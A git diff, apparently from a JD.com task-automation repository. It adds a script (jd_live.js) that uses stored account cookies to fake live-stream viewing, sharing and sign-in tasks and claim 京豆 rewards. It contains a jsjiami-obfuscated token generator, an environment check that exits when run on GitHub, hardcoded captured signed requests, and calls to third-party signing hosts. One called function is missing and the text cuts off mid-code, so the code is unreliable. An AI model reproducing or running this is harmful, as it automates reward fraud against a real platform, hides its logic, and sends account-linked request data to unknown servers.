_0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!$.cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=$.cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live.js b/jd_live.js new file mode 100644 index 0000000..bc7614a --- /dev/null +++ b/jd_live.js @@ -0,0 +1,393 @@ +/* +京东直播 +活动结束时间未知 +活动入口:京东APP首页-京东直播 +地址:https://h5.m.jd.com/babelDiy/Zeus/2zwQnu4WHRNfqMSdv69UPgpZMnE2/index.html/ +随机定时跑一次 或者自行定时 +5 12 + */ + +const $ = new Env('京东直播'); +const notify = $.isNode() ? require('./sendNotify') : ''; + +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 + +let cookiesArr = [], cookie = '', message; +let uuid +let jdPandaToken = ''; +jdPandaToken = $.isNode() ? (process.env.PandaToken ? process.env.PandaToken : `${jdPandaToken}`) : ($.getdata('PandaToken') ? $.getdata('PandaToken') : `${jdPandaToken}`); + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (!jdPandaToken) { + console.log('请填写Panda获取的Token,变量是PandaToken'); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + uuid = randomString(40) + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdHealth() + await $.wait(15000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await getTaskList() + await sign() + message += `领奖完成,共计获得 ${$.bean} 京豆\n` + await showMsg(); +} + +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`\n\n京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +// 开始看 +function getTaskList() { + let body = {"timestamp": new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000} + return new Promise(resolve => { + $.get(taskUrl("liveChannelTaskListToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.starLiveList) { + for (let key of Object.keys(data.data.starLiveList)) { + let vo = data.data.starLiveList[key] + if (vo.state !== 3) { + let authorId = (await getauthorId(vo.extra.liveId)).data.author.authorId + await superTask(vo.extra.liveId, authorId) + await awardTask("starViewTask", vo.extra.liveId) + } + } + } + console.log(`去做分享直播间任务`) + await shareTask() + await $.wait(1500); + await awardTask() + await $.wait(1500); + console.log(`去做浏览直播间任务`) + await viewTask() + await $.wait(1500); + await awardTask("commonViewTask") + await $.wait(1500); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function getauthorId(liveId) { + let functionId = `liveDetailV910` + let body = encodeURIComponent(JSON.stringify({"liveId":liveId,"fromId":"","liveList":[],"sku":"","source":"17","d":"","direction":"","isNeedVideo":1})) + let uuid = randomString(16) + // let sign = await getSign(functionId, decodeURIComponent(body), uuid) + let sign = await getSignfromPanda(functionId, body) + let url = `https://api.m.jd.com/client.action?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` + return new Promise(resolve => { + $.post(taskPostUrl(functionId, body, url), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function superTask(liveId, authorId) { + let functionId = `liveChannelReportDataV912` + let body = encodeURIComponent(JSON.stringify({"liveId":liveId,"type":"viewTask","authorId":authorId,"extra":{"time":60}})) + let uuid = randomString(16) + // let sign = await getSign(functionId, decodeURIComponent(body), uuid) + let sign = await getSignfromPanda(functionId, body) + let url = `https://api.m.jd.com/client.action?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` + return new Promise(resolve => { + $.post(taskPostUrl(functionId, body, url), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function viewTask() { + let body = 'body=%7B%22liveId%22%3A%223008300%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22644894%22%2C%22extra%22%3A%7B%22time%22%3A120%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&sign=90e14adc21c4bf31232a1ded5f4ba40e&st=1607561111999&sv=111&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function shareTask() { + let body = 'body=%7B%22liveId%22%3A%222995233%22%2C%22type%22%3A%22shareTask%22%2C%22authorId%22%3A%22682780%22%2C%22extra%22%3A%7B%22num%22%3A1%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=Y&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&screen=1242%2A2208&sign=457d557a0902f43cbdf9fb735d2bcd64&st=1607559819969&sv=110&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function awardTask(type="shareTask", liveId = '2942545') { + let body = {"type":type,"liveId":liveId} + return new Promise(resolve => { + $.post(taskUrl("getChannelTaskRewardToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`任务领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function sign() { + return new Promise(resolve => { + $.get(taskUrl("getChannelTaskRewardToM", {"type":"signTask","itemId":"1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`签到领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getSign(functionid, body, uuid) { + return new Promise(async resolve => { + let data = { + "functionId":functionid, + "body":body, + "uuid":uuid, + "client":"apple", + "clientVersion":"10.1.0" + } + let Host = "" + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + if (process.env.SIGN_URL) { + Host = process.env.SIGN_URL + } else { + Host = HostArr[Math.floor((Math.random() * HostArr.length))] + } + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 15000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}, url=null) { + if (url && (function_id === "liveChannelReportDataV912" || function_id === "liveDetailV910")) body = `body=${body}` + if(!url) url = `https://api.m.jd.com/client.action?functionId=${function_id}` + return { + url: url, + body: body, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Referer": "", + "Cookie": cookie, + "Origin": "https://h5.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "Content-Length": "996", + "User-Agent": "JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br" + } + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=h5-live&body=${encodeURIComponent(JSON.stringify(body))}&v=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}&uuid=${uuid}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + 'Content-Type': 'application/x-www-form-urlencoded', + "Cookie": cookie, + "Origin": "https://cfe.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://cfe.m.jd.com/privatedomain/live-boborock/20210809/index.html", + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function randomString(e) { + let t = "0123456789abcdef" + if (e == 16) { + t = "0123456789abcdefghijklmnopqrstuvwxyz" + } + e = e || 32; + let a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return 